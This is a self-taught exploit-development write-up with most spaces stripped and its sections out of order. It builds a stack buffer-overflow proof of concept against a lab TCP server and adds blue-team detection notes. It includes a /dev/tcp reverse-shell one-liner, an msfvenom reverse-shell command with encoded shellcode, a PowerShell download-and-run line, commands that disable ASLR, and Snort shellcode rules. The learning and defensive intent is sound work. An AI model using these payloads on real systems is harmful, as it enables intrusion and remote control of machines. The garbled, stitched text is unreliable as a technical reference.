Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

